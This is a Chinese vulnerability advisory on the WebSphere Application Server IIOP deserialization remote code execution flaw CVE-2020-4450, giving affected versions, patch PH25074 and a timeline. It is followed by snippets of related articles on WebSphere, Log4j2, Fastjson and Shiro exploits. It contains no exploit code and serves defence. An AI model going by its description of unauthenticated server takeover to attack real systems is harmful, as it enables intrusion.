    此漏洞由IIOP协议上的反序列化造成,未经身份认证的攻击者可以通过IIOP协议远程攻击WebSphere Application Server,在目标服务端执行任意代码,获取系统权限,进而接管服务器

    0x04 影响版本

    • WebSphere Application Server: 9.0.0.0 to 9.0.5.4
    • WebSphere Application Server: 8.5.0.0 to 8.5.5.17
    • WebSphere Application Server: 8.0.0.0 to 8.0.0.15
    • WebSphere Application Server: 7.0.0.0 to 7.0.0.45

    0x05 修复建议

    通用修补建议:

    WebSphere Application Server 9.0.0.0 - 9.0.5.4: 更新安全补丁PH25074

    WebSphere Application Server 8.5.0.0 - 8.5.5.17: 更新安全补丁PH25074

    WebSphere Application Server 8.0.0.0 - 8.0.0.15: 升级至8.0.0.15 版本,并安装补丁PH25074

    WebSphere Application Server 7.0.0.0 - 7.0.0.45: 升级至7.0.0.45版本,并安装补丁PH25074

    补丁下载链接:https://www.ibm.com/support/pages/node/6220276

    0x06 相关空间测绘数据

    360安全大脑-Quake网络空间测绘系统通过对全网资产测绘,发现WebSphere在全球均有广泛使用,具体分布如下图所示。

    afcc4a7ecac36339765eefd445ace0fd.png

    0x07 产品侧解决方案

    360城市级网络安全监测服务

    360安全大脑的QUAKE资产测绘平台通过资产测绘技术手段,对该类漏洞进行监测,请用户联系相关产品区域负责人获取对应产品。

    0x08 时间线

    2020-06-04 IBM发布预警

    2020-06-08 360CERT发布预警

    0x09 参考链接

    1. https://www.ibm.com/support/pages/security-bulletin-websphere-application-server-vulnerable-remote-code-execution-vulnerability-cve-2020-4450
    展开全文
  • 近日,IBM发布安全通告称修复了一个WebSphere Application Server中一个潜在的远程代码执行漏洞(CVE-2018-1567)。攻击者可以构造一个恶意的序列化对象,随后通过SOAP连接器来执行任意JAVA代码.目前没有更多漏洞...
  • 【漏洞通告】WebSphere远程代码执行漏洞(CVE-2020-4450)通告 原创 威胁对抗能力部 [绿盟科技安全情报](javascript:void(0)???? 昨天 通告编号:NS-2020-0036 2020-06-05 TA****G: WebSphere、远程代码执行、...
  • CVE-2020-4450: WebSphere远程代码执行漏洞通告 360-CERT [三六零CERT](javascript:void(0)???? 昨天 0x00 漏洞背景 2020 年 06 月 08 日,360CERT监测到 IBM官方发布了 WebSphere远程代码执行 的风险通告,该漏洞...
  • Websphere远程代码执行-CVE-2015-7450

    千次阅读 2020-08-14 09:19:04
    WebSphere 简介 WebSphere 是 IBM 的软件平台。它包含了编写、运行和监视全天候的工业强度的随需应变 Web 应用程序和跨平台、跨产品解决方案所需要...WebSphere的反序列化漏洞默认配置发生在通信端口8880,如果是本地搭
  • Apache Commons Collections 'InvokerTransformer.Java'远程代码执行漏洞发布日期:2015-11-18更新日期:2015-11-20受影响系统:Apache Group Commons Collections 4.0Apache Group Commons Collections 3.2.1Apache...
  • 复现CVE-2021-44228-Apache Log4j2远程代码执行漏洞 目录 前言 漏洞原理 影响范围 环境搭建&漏洞复现 使用工具JNDIExploit-1.2-SNAPSHOT.jar 前言 近期Apache Log4j2被暴露了一个严重的远程代码执行...
  • WebSphere漏洞总结复现

    千次阅读 2021-11-14 12:28:26
    写在前面:本文为漏洞复现系列WebSphere篇,复现的漏洞已vulhub中存在的环境为主。 欢迎大家点赞收藏,点点关注更好了hhhhhh 文章目录简介WebSphere反序列化(CVE-2015-7450)漏洞原理影响范围漏洞复现修复建议弱口令...
  • ### 漏洞原理反序列化是指特定语言中将传递的对象序列化数据重新恢复为实例对象的过程,而在这个过程中会执行一系列的字节流解析和对象实例化操作用于恢复之前序列化时的对象。在原博文所提到的那些 Java 应用里都有...
  • 一、WebSphere WebSphere 是 IBM 的软件平台。它包含了编写、运行和监视全天候的工业强度的随需应变 Web 应用程序和跨平台、跨产品解决方案所需要的整个中间件基础设施,如服务器、服务和工具。WebSphere 提供了...
  • 在这里我们对Java中反序列化问题引发的远程代码执行漏洞的原理进行介绍。为了简化说明,在不引入第3方库的前提下进行操作,希望能起到抛砖引玉的效果。 主要有3个部分组成: Java的反省机制 Java的序列化处理 ...
  • 未经身份验证的远程攻击者可能通过构造特殊的 HTTP GET请求,利用该漏洞在受影响的 WebLogic Server 上执行任意代码。它们均存在于WebLogic的Console控制台组件中。此组件为WebLogic全版本默认自带组件,且该漏洞...
  • 点击上方“程序IT圈”,选择“置顶公众号”每天早晨8点50分,第一时间送达!本文整理于阿里社区前段时间,阿里云云盾应急响应中心监测到FastJSON存在0day漏洞,攻击者可以利用该漏洞...
  • ### 漏洞原理反序列化是指特定语言中将传递的对象序列化数据重新恢复为实例对象的过程,而在这个过程中会执行一系列的字节流解析和对象实例化操作用于恢复之前序列化时的对象。在原博文所提到的那些 Java 应用里都有...
  • 本次周报建议大家关注Struts2 远程代码执行漏洞CVE-2017-5638。攻击者通过恶意的Content-Type值,可导致远程代码执行。目前,Apache官方已针对该漏洞已经发布安全公告和补丁。请受影响用户及时检查升级,修复漏洞。 ...
  • ###漏洞原理反序列化是指特定语言中将传递的对象序列化数据重新恢复为实例对象的过程,而在这个过程中会执行一系列的字节流解析和对象实例化操作用于恢复之前序列化时的对象。在原博文所提到的那些 Java 应用里都有...
  • 2020HW漏洞总结(一)

    千次阅读 2020-09-27 14:14:09
    2.深信服SSL VPN 远程代码执行漏洞,危害级别:危急 3.绿盟UTS综合威胁探针信息泄露漏洞,危害级别:危急,官方已发布补丁 4.Apache DolphinScheduler远程代码执行漏洞(CVE-2020-11974),危害级别:危急,官方已...
  • Weblogic中间件反序列化漏洞及相关 常见漏洞有那些:弱口令、Java 反序列化漏洞操作(CVE-2018-2628)、任意文件上传漏洞操作(CVE-2018-2894)、XML Decoder 反序列化漏洞操作(CVE-2017-10271)、SSRF 漏洞(需要...
  • 针对每个应用,博文都提供了相应的分析和验证代码来说明 Java 应用存在远程命令执行的普遍性。     二、漏洞危害   机器上一旦有使用上述应用,即处于“裸奔”状态,黑客可随时利用此漏洞执行任意...
  • Apache Shiro 反序列化漏洞实战

    千次阅读 2020-03-22 16:27:06
    目录漏洞原理检测与利用目标发现与寻找漏洞检测利用方式修复建议参考链接 Apache Shiro是一个Java安全框架,执行身份验证、授权、密码和会话管理。2016年,网络中曝光1.2.4以前的版本存在反序列化漏洞。尽管该漏洞...
  • Web应用漏洞 2020年的“全面推进互联网+,打造数字经济新优势”背景下,数字化经济发展促进了基于互联网的数字化系统和创新应用程序的快速增长。同时由于网络攻击技术和目标类型的更新,数字化转型后业务安全面的...
  • 君哥有话说漏洞运营和安全资产运营是快速收敛攻击面的最有效的两个措施,需要企业安全建设负责人首要关注,并投入大量精力确保漏洞管理的各项细节落地,包括漏洞发现、漏洞推修、漏洞验证等各个环节,这里面的细节很...
  • 常见Java库漏洞汇总

    2018-10-08 17:23:00
    1.ActiveMQ 反序列化漏洞(CVE-2015-5254) ref:https://www.nanoxika.com/?p=408 Apache ActiveMQ是美国阿帕奇(Apache)软件基金会所研发的一套开源的消息中间件,它支持Java消息服务、集群、Spring Framework等...
  • 2020HW漏洞总结(二)

    千次阅读 2020-09-27 14:15:13
    来自白泽Sec整理的漏洞列表 ...4.CVE-2020-0618-SQLServer报表服务远程代码执行漏洞 5.CVE-2020-7115-Aruba Clearpass远程代码执行漏洞 6.CVE-2020-15148-Yii 2框架反序列化远程命令执漏洞 7.CVE-2020-13948-Ap

空空如也

空空如也

1 2 3 4 5 ... 20
收藏数 1,152
精华内容 460
热门标签
关键字:

websphere远程代码执行漏洞